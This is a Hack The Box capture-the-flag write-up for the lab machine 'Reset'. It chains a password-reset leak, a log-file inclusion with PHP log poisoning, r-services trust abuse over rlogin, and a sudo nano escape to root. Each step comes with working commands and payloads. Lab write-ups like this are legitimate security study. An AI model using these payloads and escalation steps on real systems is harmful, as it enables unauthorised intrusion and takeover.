HACK THE BOX · PENETRATION TEST REPORT



RESET

A Leaked Reset to Root — Log Poisoning and r-services Trust

★ ☆ ☆ ☆ EASY

7	0	ROOT
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance and Service Discovery

03 Password-Reset Leak

04 The Dashboard LFI

05 Log Poisoning to RCE

06 User Flag

07 www-data to sadm via r-services Trust

08 sadm to Root

09 Chain Summary and Conclusions

01

Executive Summary

Reset is an Easy-rated Linux machine whose foothold is a password-reset endpoint that returns the new password in clear text, granting admin access with a single unauthenticated POST. From there an LFI on the dashboard, combined with log poisoning, yields code execution as `www-data`. Privilege escalation abuses the r-services host-trust model (`hosts.equiv`) via `rlogin`, then extracts a sudo password from a detached `tmux` session to reach root through a `sudo nano` GTFOBins escape.

Attack chain overview

1. Reconnaissance: 22/SSH, 80/HTTP, and the r-services (512/513/514).
2. The reset endpoint returns the new password in clear text — admin.
3. A dashboard LFI restricted to the `/var/log/` prefix.
4. Log poisoning via the User-Agent header → RCE as `www-data`.
5. World-readable user flag captured.
6. `hosts.equiv +sadm` abused via `rlogin` from a local `sadm` user.
7. A detached `tmux` session leaks a sudo password → `sudo nano` root.

02

Reconnaissance and Service Discovery

```
nmap -sC -sV -p- --min-rate 5000 -oN nmap_reset.txt <TARGET_IP>
```

```
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp  open  http    Apache httpd 2.4.52 ((Ubuntu))   [Admin Login]
512/tcp open  exec    netkit-rsh rexecd
513/tcp open  login?
514/tcp open  shell   Netkit rshd
```

● Key observation

The r-services (512/513/514) are the standout — a strong hint that the privilege escalation abuses host-based trust (`hosts.equiv` / `.rhosts`). `whatweb` shows a custom PHP login form (no CMS); the web app is the foothold.

03

Password-Reset Leak

The page offers a "Forgot Password" feature calling `reset_password.php` — and the box is named "Reset":

```
curl -s -X POST http://<TARGET_IP>/reset_password.php -d "username=admin"
```

```
{"username":"admin","new_password":"<REDACTED>","timestamp":"2026-09-29 09:22:34"}
```

⚠ Vulnerability confirmed

The reset returns the **new password in clear text** in its JSON response — no timestamp brute force, no token prediction. A single unauthenticated POST hands over admin.

```
curl -s -i -X POST http://<TARGET_IP>/ -d "username=admin&password=<REDACTED>"
# HTTP/1.1 302 Found  ->  Location: dashboard.php
```

04

The Dashboard LFI

The dashboard is a "View Logs" form posting a `file` parameter with absolute paths, whitelisted to the `/var/log/` prefix — so any readable log under

it works. Apache's access log is mode 644:

```
curl -s -b "PHPSESSID=..." http://<TARGET_IP>/dashboard.php \
  -d "file=/var/log/apache2/access.log" | grep -A5 "Log Contents"
```

```
<pre>10.10.15.75 - - [...] "POST /dashboard.php HTTP/1.1" 200 2268 "-" "curl/8.20.0"</pre>
```

Our own User-Agent is reflected in the log — the setup for log poisoning.

05

Log Poisoning to RCE

Decide whether the log is *included* (executed) or merely read. Inject a PHP tag in the User-Agent and re-request the log:

```
curl -s -A '<?php echo "TEST_1234"; ?>' http://<TARGET_IP>/
curl -s -i -b "PHPSESSID=..." http://<TARGET_IP>/dashboard.php -d "file=/var/log/apache2/access.log" | head
# HTTP/1.0 500 Internal Server Error
```

● The turning point

A clean `auth.log` still renders 200, so the 500 is specific to the poisoned `access.log` : the file is `include()` d as PHP, and the payload — mixed with the log line's quotes and timestamp — caused a fatal parse error. That proves execution; the payload just needs to be self-contained. Reading the 500 as a filter would have closed a working vector.

```
curl -s -A '<?php system($_GET[1]);?>' http://<TARGET_IP>/
curl -s -b "PHPSESSID=..." "http://<TARGET_IP>/dashboard.php" \
  --data-urlencode "file=/var/log/apache2/access.log" --data-urlencode "1=id"
# uid=33(www-data) ...
```

⚠ Pitfall

The machine periodically resets the access log (hence the name). A poisoned entry can vanish mid-exploit — inject a single clean payload right after a reset and trigger it immediately; a Python reverse shell through `1=` gives a stable `www-data` .

06

User Flag

`www-data` is in the `adm` group (hence the log read), and the user flag is world-readable:

```
cat /home/sadm/user.txt
```

USER FLAG

<REDACTED>

07

www-data to sadm via r-services Trust

```
cat /etc/passwd | grep -E "local|sadm"
# local:x:1000:1000:local:/home/local:/bin/bash
# sadm:x:1001:1001:,,,:/home/sadm:/bin/bash
cat /etc/hosts.equiv
# + sadm
```

⚠ Vulnerability confirmed

The r-services trust `sadm` by host (`hosts.equiv +sadm` , PAM `pam_rhosts`). The catch: `rlogin` derives the "ruser" from the **real UID** / `getlogin()` of the calling process, so `rlogin -l sadm` as `www-data` is denied. The fix is to make the *client* present `sadm` — create a local `sadm` user on Kali:

```
sudo useradd -m sadm
sudo -u sadm rlogin -l sadm <TARGET_IP>
```

```
Last login: Wed Jul  9 13:32:23 UTC 2025 ...
sadm@reset:~$
```

In without a password — a clean first attempt matters, since a retried rlogin falls back to a full `login:` / `Password:` prompt.

08

sadm to Root

```
sudo -l      # prompts for a password we don't have yet
ps aux | grep -i tmux
# sadm  1259  ... tmux new-session -d -s sadm_session
tmux attach -t sadm_session
```

● Key observation

A detached `tmux` session runs as `sadm` , started at boot by a `boot.service` unit driving an `expect` script. Its scrollback leaks the sudo password and the single allowed command, `sudo nano /etc/firewall.sh` . `nano` run as root is a GTFOBins escape:

```
Ctrl+R  Ctrl+X   ->   reset; sh 1>&0 2>&0
# or:  chmod u+s /bin/bash
```

```
/bin/bash -p
id            # uid=0(root)
cat /root/root_279e22f8.txt
```

ROOT FLAG

<REDACTED>

09

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Nmap full-port scan	Web + r-services exposed
2	Initial access	Password-reset secret leak	Admin session
3	File read	Dashboard LFI (`/var/log/` prefix)	`access.log` readable
4	Application RCE	Log poisoning via User-Agent	Shell as `www-data`
5	User access	World-readable flag	User flag
6	Lateral movement	`hosts.equiv` + `rlogin` trick	Shell as `sadm`
7	Privilege escalation	`tmux` scrollback + `sudo nano`	Root flag

Closing thoughts

Reset turns on two misread signals. A reset flow that returns the secret is a free admin account, and an HTTP 500 that looks like a failure actually proved the log was `include()` d rather than printed — that single request decided the whole technique. The r-services twist is a reminder that host-based trust follows the client's real UID, not an argument: `hosts.equiv +sadm` only helps once the client itself presents `sadm` .

Key takeaways

- A reset flow that returns the secret is a free admin account.
- The HTTP 500 told the truth — it proved `include()`, not info disclosure.
- A self-resetting log is a timing problem, not a dead end.
- r-services trust follows the client's real UID — create a local user and `sudo -u` to present it.
- A detached session is a credential store; `sudo nano` is a GTFOBins root shell.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.